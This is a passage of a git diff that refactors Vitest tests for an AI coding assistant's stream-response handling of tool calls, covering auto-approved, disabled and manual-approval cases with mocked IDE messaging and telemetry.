indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, - }, }); }); }); diff --git a/gui/src/redux/thunks/streamResponse_toolCalls.test.ts b/gui/src/redux/thunks/streamResponse_toolCalls.test.ts index decf0b5f8..f80da5473 100644 --- a/gui/src/redux/thunks/streamResponse_toolCalls.test.ts +++ b/gui/src/redux/thunks/streamResponse_toolCalls.test.ts @@ -1,14 +1,9 @@ import { JSONContent } from "@tiptap/core"; -import { InputModifiers } from "core"; +import { AssistantChatMessage, InputModifiers, PromptLog } from "core"; import { describe, expect, it, vi } from "vitest"; import { createMockStore } from "../../util/test/mockStore"; import { streamResponseThunk } from "./streamResponse"; -// Mock external dependencies only - let selectors run naturally -// Removed: modelSupportsNativeTools - let it run naturally - -// Removed: addSystemMessageToolsToSystemMessage - let it run naturally - // Mock system message construction to keep test readable vi.mock("../util/getBaseSystemMessage", () => ({ getBaseSystemMessage: vi.fn(), @@ -16,9 +11,6 @@ vi.mock("../util/getBaseSystemMessage", () => ({ import { getBaseSystemMessage } from "../util/getBaseSystemMessage"; -// Removed: shouldAutoEnableSystemMessageTools - let it run naturally - -// Additional mocks for streamResponseThunk vi.mock("posthog-js", () => ({ default: { capture: vi.fn(), @@ -37,8 +29,24 @@ vi.mock( ); import { ModelDescription } from "core"; +import { serializeTool } from "core/tools"; +import { + editFileTool, + grepSearchTool, + runTerminalCommandTool, +} from "core/tools/definitions"; import posthog from "posthog-js"; import { resolveEditorContent } from "../../components/mainInput/TipTapEditor/utils/resolveEditorContent"; +import { MockIdeMessenger } from "../../context/MockIdeMessenger"; +import { RootState } from "../store"; +import { getRootStateWithClaude } from "./streamResponse.test"; + +const grepTool = serializeTool(grepSearchTool); +const grepName = grepTool.function.name; +const editTool = serializeTool(editFileTool); +const editName = editTool.function.name; +const terminalTool = serializeTool(runTerminalCommandTool); +const terminalName = terminalTool.function.name; const mockGetBaseSystemMessage = vi.mocked(getBaseSystemMessage); @@ -70,11 +78,8 @@ const mockModifiers: InputModifiers = { noContext: false, }; -function setupTest() { +beforeEach(() => { vi.clearAllMocks(); - - // Default mock implementations for external functions - // Default mock for resolveEditorContent (can be overridden in individual tests) mockResolveEditorContent.mockResolvedValue({ selectedContextItems: [], @@ -83,196 +88,58 @@ function setupTest() { legacyCommandWithInput: undefined, }); - // Mock getBaseSystemMessage to return simple system message for readable tests mockGetBaseSystemMessage.mockReturnValue("You are a helpful assistant."); - - // Create store with realistic state that selectors can work with - const mockStore = createMockStore({ - session: { - history: [ - { - message: { id: "1", role: "user", content: "Hello" }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: {}, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); - - const mockIdeMessenger = mockStore.mockIdeMessenger; - - return { mockStore, mockIdeMessenger }; -} +}); describe("streamResponseThunk - tool calls", () => { it("should execute streaming flow with tool call execution", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); - // Set up auto-approved tool setting for our test tool - const mockStoreWithToolSettings = createMockStore({ - session: { - history: [ - { - message: { - id: "1", - role: "user", - content: "Please search the codebase", - }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, + const initialState = getRootStateWithClaude(); + initialState.session.history = [ + { + message: { + id: "1", + role: "user", + content: "Please search the codebase", }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, + contextItems: [], }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: { - search_codebase: "allowedWithoutPermission", // Auto-approve this tool - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); - + ]; + initialState.ui.toolSettings = { + [grepName]: "allowedWithoutPermission", // Auto-approve this tool + }; + initialState.session.id = "session-123"; + initialState.config.config.tools = [grepTool]; + const mockStoreWithToolSettings = createMockStore(initialState); const mockIdeMessengerWithTool = mockStoreWithToolSettings.mockIdeMessenger; - // Setup successful compilation and tool responses - mockIdeMessengerWithTool.request.mockImplementation( - (endpoint: string, data: any) => { - if (endpoint === "llm/compileChat") { - return Promise.resolve({ - status: "success", - content: { - compiledChatMessages: [ - { role: "user", content: "Please search the codebase" }, - ], - didPrune: false, - contextPercentage: 0.9, - }, - }); - } else if (endpoint === "tools/evaluatePolicy") { - // Mock dynamic policy evaluation - return auto-approve for this test - return Promise.resolve({ - status: "success", - content: { policy: "allowedWithoutPermission" }, - }); - } else if (endpoint === "tools/call") { - // Mock server-side tool call response - return Promise.resolve({ - status: "success", - content: { - contextItems: [ - { - name: "Search Results", - description: "Found 3 matches", - content: "Result 1\nResult 2\nResult 3", - icon: "search", - hidden: false, - }, - ], - errorMessage: undefined, - }, - }); - } else if (endpoint === "history/save") { - // Mock session save - return Promise.resolve({ status: "success" }); - } else if (endpoint === "history/list") { - return Promise.resolve({ status: "success", content: [] }); - } - // Let other endpoints pass through or return success - return Promise.resolve({ status: "success", content: {} }); - }, - ); + const requestSpy = vi.spyOn(mockIdeMessengerWithTool, "request"); + + mockIdeMessengerWithTool.responses["llm/compileChat"] = { + compiledChatMessages: [ + { role: "user", content: "Please search the codebase" }, + ], + didPrune: false, + contextPercentage: 0.9, + }; + mockIdeMessengerWithTool.responses["tools/call"] = { + contextItems: [ + { + name: "Search Results", + description: "Found 3 matches", + content: "Result 1\nResult 2\nResult 3", + icon: "search", + hidden: false, + }, + ], + errorMessage: undefined, + }; // Setup streaming generator with tool call - async function* mockStreamGeneratorWithTool() { + async function* mockStreamGeneratorWithTool(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [ { role: "assistant", content: "I'll search the codebase for you." }, ]; @@ -285,7 +152,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-call-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -296,41 +163,48 @@ describe("streamResponseThunk - tool calls", () => { prompt: "Please search the codebase", completion: "I'll search the codebase for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } // Mock different streaming responses for multiple calls let streamCallCount = 0; - mockIdeMessengerWithTool.llmStreamChat.mockImplementation(() => { + const mockStreamChat = vi.fn().mockImplementation(() => { streamCallCount++; if (streamCallCount === 1) { // First call - main streaming with tool call return mockStreamGeneratorWithTool(); } else { // Subsequent calls from streamResponseAfterToolCall - return minimal response - async function* simpleGenerator() { + async function* simpleGenerator(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [{ role: "assistant", content: "Search completed." }]; return { prompt: "continuing after tool", completion: "Search completed.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } return simpleGenerator(); } }); + mockIdeMessengerWithTool.llmStreamChat = mockStreamChat; + // Track isStreaming state changes to detect UI flashing during auto-approved tool execution const streamingStateChanges: boolean[] = []; - let lastStreamingState = - mockStoreWithToolSettings.getState().session.isStreaming; + let lastStreamingState = (mockStoreWithToolSettings.getState() as RootState) + .session.isStreaming; // Record the initial state streamingStateChanges.push(lastStreamingState); // Subscribe to store changes to catch ALL state updates const unsubscribe = mockStoreWithToolSettings.subscribe(() => { - const currentState = - mockStoreWithToolSettings.getState().session.isStreaming; + const currentState = (mockStoreWithToolSettings.getState() as RootState) + .session.isStreaming; if (currentState !== lastStreamingState) { console.log( `Store subscription: isStreaming changed from ${lastStreamingState} to ${currentState}`, @@ -340,7 +214,7 @@ describe("streamResponseThunk - tool calls", () => { } }); - // Execute thunk + // // Execute thunk const result = await mockStoreWithToolSettings.dispatch( streamResponseThunk({ editorState: mockEditorState, @@ -349,7 +223,7 @@ describe("streamResponseThunk - tool calls", () => { ); // Debug: check what happened - const debugState = mockStoreWithToolSettings.getState(); + const debugState = mockStoreWithToolSettings.getState() as RootState; const finalStreamingState = debugState.session.isStreaming; const toolCallStates = debugState.session.history.flatMap( (item) => item.toolCallStates || [], @@ -377,10 +251,10 @@ describe("streamResponseThunk - tool calls", () => { // Verify no UI flashing during auto-approved tool execution // DESIRED: Should stay true throughout tool execution, only becoming false at the very end // We expect [true, false] - streaming starts true, stays true during tool execution, then false when all done - expect(streamingStateChanges).toEqual([true, false]); + expect(streamingStateChanges).toEqual([false, true, false]); // Verify key actions are dispatched (tool calls trigger a complex cascade, so we verify key actions exist) - const dispatchedActions = (mockStoreWithToolSettings as any).getActions(); + const dispatchedActions = mockStoreWithToolSettings.getActions(); // Verify exact action sequence const actionTypes = dispatchedActions.map((action: any) => action.type); @@ -467,7 +341,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-call-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -482,6 +356,7 @@ describe("streamResponseThunk - tool calls", () => { { completion: "I'll search the codebase for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "Please search the codebase", }, ]); @@ -508,58 +383,51 @@ describe("streamResponseThunk - tool calls", () => { }); // Verify IDE messenger calls - expect(mockIdeMessengerWithTool.request).toHaveBeenCalledWith( - "llm/compileChat", - { - messages: [ - { - role: "system", - content: "You are a helpful assistant.", - }, - { - role: "user", - content: [ - { - type: "text", - text: "Please search the codebase", - }, - ], - }, - { - role: "user", - content: [ - { - type: "text", - text: "Hello, please help me with this code", - }, - ], - }, - ], - options: { - reasoning: false, + expect(requestSpy).toHaveBeenCalledWith("llm/compileChat", { + messages: [ + { + role: "system", + content: "You are a helpful assistant.", }, + { + role: "user", + content: [ + { + type: "text", + text: "Please search the codebase", + }, + ], + }, + { + role: "user", + content: [ + { + type: "text", + text: "Hello, please help me with this code", + }, + ], + }, + ], + options: { + tools: [grepTool], }, - ); + }); - expect(mockIdeMessengerWithTool.request).toHaveBeenCalledWith( - "tools/call", - { - toolCall: { - id: "tool-call-1", - type: "function", - function: { - name: "search_codebase", - arguments: JSON.stringify({ query: "test function" }), - }, + expect(requestSpy).toHaveBeenCalledWith("tools/call", { + toolCall: { + id: "tool-call-1", + type: "function", + function: { + name: grepName, + arguments: JSON.stringify({ query: "test function" }), }, }, - ); + }); // Verify that multiple compilation calls were made (due to tool call continuation) - const compileCallsCount = - mockIdeMessengerWithTool.request.mock.calls.filter( - (call: any) => call[0] === "llm/compileChat", - ).length; + const compileCallsCount = requestSpy.mock.calls.filter( + (call: any) => call[0] === "llm/compileChat", + ).length; expect(compileCallsCount).toBeGreaterThanOrEqual(1); expect(result.type).toBe("chat/streamResponse/fulfilled"); @@ -567,26 +435,26 @@ describe("streamResponseThunk - tool calls", () => { // Verify telemetry events for auto-approved tool execution // Use partial matching to allow additional fields (e.g. model) in payload expect(mockPosthog.capture).toHaveBeenCalledWith( - "gui_tool_call_decision", + "tool_call_decision", expect.objectContaining({ decision: "auto_accept", - toolName: "search_codebase", + toolName: grepName, toolCallId: "tool-call-1", }), ); expect(mockPosthog.capture).toHaveBeenCalledWith( - "gui_tool_call_outcome", + "tool_call_outcome", expect.objectContaining({ succeeded: true, - toolName: "search_codebase", - errorMessage: undefined, + toolName: grepName, + errorReason: undefined, duration_ms: expect.any(Number), }), ); // Verify final state after tool call execution - const finalState = mockStoreWithToolSettings.getState(); + const finalState = mockStoreWithToolSettings.getState() as RootState; // Check that the tool was executed (status should be 'done' if auto-approved and executed) const toolCallState = finalState.session.history.find( @@ -598,7 +466,9 @@ describe("streamResponseThunk - tool calls", () => { expect(toolCallState?.output).toBeDefined(); expect(finalState).toEqual({ + ...initialState, session: { + ...initialState.session, history: [ { contextItems: [], @@ -629,7 +499,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-call-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -639,6 +509,7 @@ describe("streamResponseThunk - tool calls", () => { { completion: "I'll search the codebase for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "Please search the codebase", }, ], @@ -649,7 +520,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-call-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -664,6 +535,7 @@ describe("streamResponseThunk - tool calls", () => { hidden: false, }, ], + tool: grepTool, }, ], }, @@ -688,834 +560,58 @@ describe("streamResponseThunk - tool calls", () => { { completion: "Search completed.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "continuing after tool", }, ], }, ], - hasReasoningEnabled: false, - isStreaming: false, id: "session-123", - mode: "chat", streamAborter: expect.any(AbortController), contextPercentage: 0.9, isPruned: false, - isInEdit: false, - title: "New Session", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, + title: "Session summary", inlineErrorMessage: undefined, }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - loading: false, - configError: undefined, - }, - ui: { - toolSettings: { - search_codebase: "allowedWithoutPermission", - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, - }, - }); - }); - - it("should handle tool call rejection error", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); - - // Create store with tool settings that will reject the tool call - const mockStoreWithToolReject = createMockStore({ - session: { - history: [ - { - message: { - id: "1", - role: "user", - content: "Please edit this file", - }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: { - edit_existing_file: "disabled", // Tool is disabled/rejected - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); - - const mockIdeMessengerReject = mockStoreWithToolReject.mockIdeMessenger; - - // Setup successful compilation - mockIdeMessengerReject.request.mockResolvedValue({ - status: "success", - content: { - compiledChatMessages: [ - { role: "user", content: "Please edit this file" }, - ], - didPrune: false, - contextPercentage: 0.7, - }, - }); - - // Setup streaming generator with tool call that will be rejected - async function* mockStreamGeneratorWithRejectedTool() { - yield [{ role: "assistant", content: "I'll edit the file for you." }]; - yield [ - { - role: "assistant", - content: "", - toolCalls: [ - { - id: "tool-reject-1", - type: "function", - function: { - name: "edit_existing_file", - arguments: JSON.stringify({ - filepath: "test.js", - changes: "const x = 1;", - }), - }, - }, - ], - }, - ]; - return { - prompt: "Please edit this file", - completion: "I'll edit the file for you.", - modelProvider: "anthropic", - }; - } - - mockIdeMessengerReject.llmStreamChat.mockReturnValue( - mockStreamGeneratorWithRejectedTool(), - ); - - // Execute thunk - const result = await mockStoreWithToolReject.dispatch( - streamResponseThunk({ - editorState: mockEditorState, - modifiers: mockModifiers, - }) as any, - ); - - // Verify thunk completed successfully (tool rejection is handled gracefully) - expect(result.type).toBe("chat/streamResponse/fulfilled"); - - // Verify exact action sequence includes tool generation but rejection handling - const dispatchedActions = (mockStoreWithToolReject as any).getActions(); - expect(dispatchedActions).toEqual([ - { - type: "chat/streamResponse/pending", - meta: { - arg: { - editorState: mockEditorState, - modifiers: mockModifiers, - }, - requestId: expect.any(String), - requestStatus: "pending", - }, - payload: undefined, - }, - { - type: "chat/streamWrapper/pending", - meta: { - arg: expect.any(Function), - requestId: expect.any(String), - requestStatus: "pending", - }, - payload: undefined, - }, - { - type: "session/submitEditorAndInitAtIndex", - payload: { - editorState: mockEditorState, - index: 1, - }, - }, - { - type: "session/resetNextCodeBlockToApplyIndex", - payload: undefined, - }, - { - type: "symbols/updateFromContextItems/pending", - meta: { - arg: [], - requestId: expect.any(String), - requestStatus: "pending", - }, - payload: undefined, - }, - { - type: "session/updateHistoryItemAtIndex", - payload: { - index: 1, - updates: { - contextItems: [], - message: { - content: "Hello, please help me with this code", - id: "mock-uuid-123", - role: "user", - }, - }, - }, - }, - { - type: "chat/streamNormalInput/pending", - meta: { - arg: { - legacySlashCommandData: undefined, - }, - requestId: expect.any(String), - requestStatus: "pending", - }, - payload: undefined, - }, - { - type: "session/setAppliedRulesAtIndex", - payload: { - appliedRules: [], - index: 1, - }, - }, - { - type: "session/setActive", - payload: undefined, - }, - { - type: "session/setInlineErrorMessage", - payload: undefined, - }, - { - type: "session/setIsPruned", - payload: false, - }, - { - type: "session/setContextPercentage", - payload: 0.7, - }, - { - type: "symbols/updateFromContextItems/fulfilled", - meta: { - arg: [], - requestId: expect.any(String), - requestStatus: "fulfilled", - }, - payload: undefined, - }, - { - type: "session/streamUpdate", - payload: [ - { - role: "assistant", - content: "I'll edit the file for you.", - }, - ], - }, - { - type: "session/streamUpdate", - payload: [ - { - role: "assistant", - content: "", - toolCalls: [ - { - id: "tool-reject-1", - type: "function", - function: { - name: "edit_existing_file", - arguments: '{"filepath":"test.js","changes":"const x = 1;"}', - }, - }, - ], - }, - ], - }, - { - type: "session/addPromptCompletionPair", - payload: [ - { - completion: "I'll edit the file for you.", - modelProvider: "anthropic", - prompt: "Please edit this file", - }, - ], - }, - { - type: "session/errorToolCall", - payload: { - toolCallId: "tool-reject-1", - }, - }, - { - type: "session/updateToolCallOutput", - payload: { - toolCallId: "tool-reject-1", - contextItems: [ - { - icon: "problems", - name: "Security Policy Violation", - description: "Command Disabled", - content: `This command has been disabled by security policy:\n\nedit_existing_file\n\nThis command cannot be executed as it may pose a security risk.`, - hidden: false, - }, - ], - }, - }, - { - type: "session/setInactive", - payload: undefined, - }, - { - type: "chat/streamNormalInput/fulfilled", - meta: { - arg: { - legacySlashCommandData: undefined, - }, - requestId: expect.any(String), - requestStatus: "fulfilled", - }, - payload: undefined, - }, - { - type: "session/saveCurrent/pending", - meta: { - arg: { - generateTitle: true, - openNewSession: false, - }, - requestId: expect.any(String), - requestStatus: "pending", - }, - payload: undefined, - }, - { - type: "session/update/pending", - meta: { - arg: expect.objectContaining({ - history: expect.any(Array), - sessionId: "session-123", - title: "New Session", - workspaceDirectory: "", - }), - requestId: expect.any(String), - requestStatus: "pending", - }, - payload: undefined, - }, - { - type: "session/updateSessionMetadata", - payload: { - sessionId: "session-123", - title: "New Session", - }, - }, - { - type: "session/refreshMetadata/pending", - meta: { - arg: {}, - requestId: expect.any(String), - requestStatus: "pending", - }, - payload: undefined, - }, - { - type: "session/setIsSessionMetadataLoading", - payload: false, - }, - { - type: "session/setAllSessionMetadata", - payload: { - compiledChatMessages: [ - { - content: "Please edit this file", - role: "user", - }, - ], - contextPercentage: 0.7, - didPrune: false, - }, - }, - { - type: "session/refreshMetadata/fulfilled", - meta: { - arg: {}, - requestId: expect.any(String), - requestStatus: "fulfilled", - }, - payload: { - compiledChatMessages: [ - { - content: "Please edit this file", - role: "user", - }, - ], - contextPercentage: 0.7, - didPrune: false, - }, - }, - { - type: "session/update/fulfilled", - meta: { - arg: expect.objectContaining({ - history: expect.any(Array), - sessionId: "session-123", - title: "New Session", - workspaceDirectory: "", - }), - requestId: expect.any(String), - requestStatus: "fulfilled", - }, - payload: undefined, - }, - { - type: "session/saveCurrent/fulfilled", - meta: { - arg: { - generateTitle: true, - openNewSession: false, - }, - requestId: expect.any(String), - requestStatus: "fulfilled", - }, - payload: undefined, - }, - { - type: "chat/streamWrapper/fulfilled", - meta: { - arg: expect.any(Function), - requestId: expect.any(String), - requestStatus: "fulfilled", - }, - payload: undefined, - }, - { - type: "chat/streamResponse/fulfilled", - meta: { - arg: { - editorState: mockEditorState, - modifiers: mockModifiers, - }, - requestId: expect.any(String), - requestStatus: "fulfilled", - }, - payload: undefined, - }, - ]); - - // Verify IDE messenger calls - compilation should succeed, streaming should happen - expect(mockIdeMessengerReject.request).toHaveBeenCalledWith( - "llm/compileChat", - { - messages: [ - { - role: "system", - content: "You are a helpful assistant.", - }, - { - role: "user", - content: [ - { - type: "text", - text: "Please edit this file", - }, - ], - }, - { - role: "user", - content: [ - { - type: "text", - text: "Hello, please help me with this code", - }, - ], - }, - ], - options: { - reasoning: false, - }, - }, - ); - - expect(mockIdeMessengerReject.llmStreamChat).toHaveBeenCalledWith( - { - completionOptions: { - reasoning: false, - }, - legacySlashCommandData: undefined, - messageOptions: { precompiled: true }, - messages: [ - { - role: "user", - content: "Please edit this file", - }, - ], - title: "Claude 3.5 Sonnet", - }, - expect.any(AbortSignal), - ); - - // Should NOT call tools/call since tool is disabled/rejected - expect(mockIdeMessengerReject.request).not.toHaveBeenCalledWith( - "tools/call", - expect.anything(), - ); - - // Verify session save was called - expect(mockIdeMessengerReject.request).toHaveBeenCalledWith( - "history/save", - expect.anything(), - ); - - // Verify final state contains the tool call but it's not executed - const finalState = mockStoreWithToolReject.getState(); - expect(finalState).toEqual({ - session: { - history: [ - { - contextItems: [], - message: { - id: "1", - role: "user", - content: "Please edit this file", - }, - }, - { - appliedRules: [], - contextItems: [], - editorState: mockEditorState, - message: { - content: "Hello, please help me with this code", - id: expect.any(String), - role: "user", - }, - }, - { - contextItems: [], - isGatheringContext: false, - message: { - content: "I'll edit the file for you.", - id: "mock-uuid-123", - role: "assistant", - toolCalls: [ - { - id: "tool-reject-1", - type: "function", - function: { - name: "edit_existing_file", - arguments: JSON.stringify({ - filepath: "test.js", - changes: "const x = 1;", - }), - }, - }, - ], - }, - promptLogs: [ - { - completion: "I'll edit the file for you.", - modelProvider: "anthropic", - prompt: "Please edit this file", - }, - ], - toolCallStates: [ - { - toolCallId: "tool-reject-1", - toolCall: { - id: "tool-reject-1", - type: "function", - function: { - name: "edit_existing_file", - arguments: JSON.stringify({ - filepath: "test.js", - changes: "const x = 1;", - }), - }, - }, - parsedArgs: { - filepath: "test.js", - changes: "const x = 1;", - }, - status: "errored", // Tool call is marked as errored due to being disabled - output: [ - { - icon: "problems", - name: "Security Policy Violation", - description: "Command Disabled", - content: `This command has been disabled by security policy:\n\nedit_existing_file\n\nThis command cannot be executed as it may pose a security risk.`, - hidden: false, - }, - ], - }, - ], - }, - ], - hasReasoningEnabled: false, - isStreaming: false, - id: "session-123", - mode: "chat", - streamAborter: expect.any(AbortController), - contextPercentage: 0.7, - isPruned: false, - isInEdit: false, - title: "New Session", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: { - compiledChatMessages: [ - { - content: "Please edit this file", - role: "user", - }, - ], - contextPercentage: 0.7, - didPrune: false, - }, - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - loading: false, - configError: undefined, - }, - ui: { - toolSettings: { - edit_existing_file: "disabled", - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, - }, }); }); it("should handle tool call requiring manual approval", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); - // Create store with tool settings that require manual approval (ask first) - const mockStoreWithManualApproval = createMockStore({ - session: { - history: [ - { - message: { - id: "1", - role: "user", - content: "Please search the codebase", - }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, + const initialState = getRootStateWithClaude(); + initialState.session.history = [ + { + message: { + id: "1", + role: "user", + content: "Please search the codebase", }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, + contextItems: [], }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: { - search_codebase: "askFirst", // Requires manual approval - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); + ]; + initialState.session.id = "session-123"; + initialState.ui.toolSettings = { + [grepName]: "allowedWithPermission", // Requires manual approval + }; + initialState.config.config.tools = [grepTool]; + const mockStoreWithManualApproval = createMockStore(initialState); const mockIdeMessengerManual = mockStoreWithManualApproval.mockIdeMessenger; - + const requestSpy = vi.spyOn(mockIdeMessengerManual, "request"); // Setup successful compilation - mockIdeMessengerManual.request.mockResolvedValue({ - status: "success", - content: { - compiledChatMessages: [ - { role: "user", content: "Please search the codebase" }, - ], - didPrune: false, - contextPercentage: 0.9, - }, - }); + mockIdeMessengerManual.responses["llm/compileChat"] = { + compiledChatMessages: [ + { role: "user", content: "Please search the codebase" }, + ], + didPrune: false, + contextPercentage: 0.9, + }; // Setup streaming generator with tool call requiring approval - async function* mockStreamGeneratorWithApprovalTool() { + async function* mockStreamGeneratorWithApprovalTool(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [ { role: "assistant", content: "I'll search the codebase for you." }, ]; @@ -1528,7 +624,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-approval-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -1539,24 +635,26 @@ describe("streamResponseThunk - tool calls", () => { prompt: "Please search the codebase", completion: "I'll search the codebase for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } - mockIdeMessengerManual.llmStreamChat.mockReturnValue( - mockStreamGeneratorWithApprovalTool(), - ); + const mockChat = vi + .fn() + .mockReturnValue(mockStreamGeneratorWithApprovalTool()); + mockIdeMessengerManual.llmStreamChat = mockChat; // Track isStreaming state changes to ensure it doesn't become false after tool generation const streamingStates: boolean[] = []; const originalDispatch = mockStoreWithManualApproval.dispatch; - mockStoreWithManualApproval.dispatch = ((action: any) => { + mockStoreWithManualApproval.dispatch = (action: any) => { const result = originalDispatch(action); // Capture isStreaming state after each action - const currentState = - mockStoreWithManualApproval.getState().session.isStreaming; + const currentState = (mockStoreWithManualApproval.getState() as RootState) + .session.isStreaming; streamingStates.push(currentState); return result; - }) as any; + }; // Execute thunk const result = await mockStoreWithManualApproval.dispatch( @@ -1571,12 +669,13 @@ describe("streamResponseThunk - tool calls", () => { // Since tool requires approval, isStreaming should become false after completion // but should stay true throughout the initial streaming phase - const finalStreamingState = - mockStoreWithManualApproval.getState().session.isStreaming; + const finalStreamingState = ( + mockStoreWithManualApproval.getState() as RootState + ).session.isStreaming; expect(finalStreamingState).toBe(false); // Final state should be false since we're waiting for approval // Verify exact action sequence includes tool generation but NO execution - const dispatchedActions = (mockStoreWithManualApproval as any).getActions(); + const dispatchedActions = 